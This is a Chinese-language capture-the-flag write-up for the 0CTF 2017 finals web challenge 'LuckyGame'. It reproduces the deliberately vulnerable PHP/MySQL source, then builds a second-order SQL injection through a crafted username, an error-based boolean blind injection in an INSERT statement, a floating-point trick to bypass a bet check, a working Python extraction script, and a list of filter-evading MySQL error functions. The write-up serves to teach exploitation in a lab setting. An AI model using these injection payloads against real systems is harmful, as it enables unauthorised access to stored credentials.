0CTF(TCTF)-2017-final Web LuckyGame Writeup

栏目: CSS · 发布时间: 7年前

内容简介:0CTF(TCTF)-2017-final Web LuckyGame Writeup

觉得这道题非常有意思,质量很高,当时比赛期间没有做出来,所以赛后复现了一下。这道题其实考点都很普通,但是组合起来难度非常大,个人认为是一道非常棒的题目。

源码

题目描述如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

题目用的 php7mysql5.7 。 题目的源码很短,两百多行只有,直接贴出来源码如下:

<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <meta charset="utf-8">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
    <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<div id="layout">
<div id="menu">
    <div class="pure-menu">
        <a class="pure-menu-heading" href="#">TCTF</a>
    </div>
</div>
<div id="main">
    <div class="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<div class="content">
<?php

if (!$link=mysqli_connect('localhost', "root", "1")) die('Connection error');
if (!mysqli_select_db($link,'test')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL,username varchar(24),password varchar(32),points int,UNIQUE KEY(username));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));
foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (id+1,'%s',md5('%s'),10)",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));

    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    #echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);

    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    //echo $q;
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}
#var_dump(mysqli_fetch_array(mysqli_query($link,"select @c",MYSQLI_USE_RESULT)));
echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

寻找注入点

由于源代码比较少,而且与数据库的交互语句就那么几个地方,通读之后应该能够比较容易就能找到两个注入点

注入点1

用户注册的时候如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

密码被MD5了所以没办法搞,用户名被过滤了不能直接注入。 但是我们看在登陆的时候会调用 my_point() 函数

0CTF(TCTF)-2017-final Web LuckyGame Writeup

函数直接把 session 里面的 user 带入查询,但是这个 sessionuser 来源直接是数据库数据。在 login 函数里面赋的值。所以 username 存在一个二次注入。 尝试一下。如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

登陆之后发现我们的分数变成了999分

0CTF(TCTF)-2017-final Web LuckyGame Writeup

但是问题来了,我们观察代码中关于数据库结构的注释可以知道username的最长为24。

所以这里这个点很难直接去动密码的手。

注入点2

总共就几个数据库交互点。我们看下面这部分代码

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    //echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

首先看 update_point 函数,发现其中格式化的时候是 %d ,所以没法儿注入,但是发现它调用了 user_log 函数,而且直接把参数 $p 传递给了 user_log ,而 user_log 里面就是 insert 语句,而且格式化参数是 %s ,所以如果 update_point$p 可控就有一个insert的注入。

我们看看哪儿调用了 update_point ,代码最后

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

当赌赢了和输了都会调用,而且参数就是我们可控的,但是输了的时候在调用 update_point 会在我们的输入前面加上负号无法利用,所以赢了就可以。 但是我们还需要注意我们输入的 bet 要通过这个判断 if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); ,这一点后续利用的时候再进行讨论。

分析

我们再分析构造利用之前,需要看看过滤情况。最开始有一个全局的过滤,但是全局过滤只过滤了 $_POST,$_GET ,而后续获取变量值的时候用的是 $_REQUEST ,所以最开始的全局过滤没用的。

所以来直接看看这个过滤代码。

function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

过滤了一些延迟函数,和一部分报错函数(注意题目 mysql 版本5.7,报错函数多得是,这点过滤根本不足为惧),还有最关键就是过滤了含表名列名的输入参数。这是最关键的。也就是说我们需要在不使用表名列名的情况下搞出管理员密码。

但是我们现在可以利用的两个注入点,一个被长度限制在24,所以单独依靠第一个username的二次注入是没办法直接搞定的。

另一个是insert语句,只能用盲注,而且时间函数被过滤了也就是只能用bool盲注。但是insert一般都是时间盲注,本身不存在bool盲注,但是题目帮我们设置好了。

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

看看这里,一旦这个语句执行没有返回,即执行报错,就会return一个false。而这样代码最后的

0CTF(TCTF)-2017-final Web LuckyGame Writeup

这部分html标签就会出不来,所以这个就是二分点。我们可以控制让它报错或是不报错,从而根据返回值来判断。

组合利用

由于无法在输入中使用含表名和列名的字符串,所以我们可以利用临时变量,这一点确实没有想到。 我们可以看到再最后才有一个关闭数据库连接。在登陆之后每次访问页面都会调用一次 my_point 函数,就是上面分析的第一个注入点的地方,所以我们在这里注册一个这样子的用户名 admin' into @a,@b,@c,@d# ,

这样每次访问页面就会将 user 中的admin那一列值存入四个临时变量,而此时我们可以去触发insert盲注来进行爆破,

我们利用的就是mysql中 and 的特性,先看下面的例子

mysql> select 1 from users where 1 and ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.18-0ubuntu0.16.04.1' for function ST_LATFROMGEOHASH
mysql> select 1 from users where 0 and ST_LatFromGeoHash(version());
Empty set (0.00 sec)

ST_LatFromGeoHash 是mysql5.7以上可以用于报错的函数。这里对于and的前后两个条件来说,如果前面的条件为0,那么它就不会执行后面的条件语句了。因为最后结果肯定是0,而前面如果是1就会执行后面的语句,所以我们可以通过这样子来控制insert 报错,一旦报错返回的html文档就是不完全的,所以可以根据这个判断结果。

例如我执行下述两个语句

http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'z') and (ST_LatFromGeoHash(version())) )or'
http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'a') and (ST_LatFromGeoHash(version())) )or'

语句一返回如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

语句二返回如下:

0CTF(TCTF)-2017-final Web LuckyGame Writeup

所以可以开始盲注了。

在这之前再看看我们前面的构造为啥是 1e-324 ,在上面分析过我们需要绕过

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

这个判断。 由于我们用户名的设置,所以我们 $point 是0,所以我们需要输入的值要小于0。 这里用了一个 php 精度的trick。e是科学计数法的表示,实际 1eX 代表 1*(10^X)

1e-1>0
1e-2>0
....
1e-323>0
1e-324<0
1e-325<0
....

所以我们就可以绕过这个判断。

poc

最后编写脚本如下:

import requests
r=requests.session()
url="http://127.0.0.1:7000/"
payload=url+"?guess=1&bet=1e-324' and((substring(@c,%d,1)>'%s')and(ST_LatFromGeoHash(version())))or'"

data={"user":"admin' into @a,@b,@c,@d#","pass":"1"}
r.post(url+"?action=login",data=data)

ans=""
for i in xrange(1,100):
    start=1
    end=128
    while start<end:
        mid=(start+end)/2
        content=r.get(payload%(i,chr(mid))).content
        while "You won!" not in content:
            content=r.get(payload%(i,chr(mid))).content
        if "</html>" in content:
            end=mid
        else:
            start=mid+1
    ans+=chr(start)
    print ans

后记

复现的时候,我们需要注意,mysql5.7以上默认是开启了 STRICT_TRANS_TABLES ,而做这道题我们如果开启这个就没办法做了。

另外就是报错函数,除了上面我使用的以外,我们还可以选择很多其他报错函数也能绕过过滤。 下面是比较通用的,5.1以上就能用的:

geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()

下面是5.7以上版本才有的

ST_LatFromGeoHash()
ST_LongFromGeoHash()
GTID_SUBSET()
GTID_SUBTRACT()
ST_PointFromGeoHash()

当然不一定要用这几个报错函数,也可以构造一些语句使insert报错也可以。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算复杂性

计算复杂性

阿罗拉 巴拉克 / 骆吉洲 / 机械工业出版社 / 2016-1-1 / 129元

《计算复杂性的现代方法》是一部将所有有关复杂度知识理论集于一体的教程。将最新进展和经典结果结合起来,是一部很难得的研究生入门级教程。既是相关科研人员的一部很好的参考书,也是自学人员很难得的一本很好自学教程。本书一开始引入该领域的最基本知识,然后逐步深入,介绍更多深层次的结果,每章末都附有练习。对复杂度感兴趣的人士,物理学家,数学家以及科研人员这本书都是相当受益。一起来看看 《计算复杂性》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换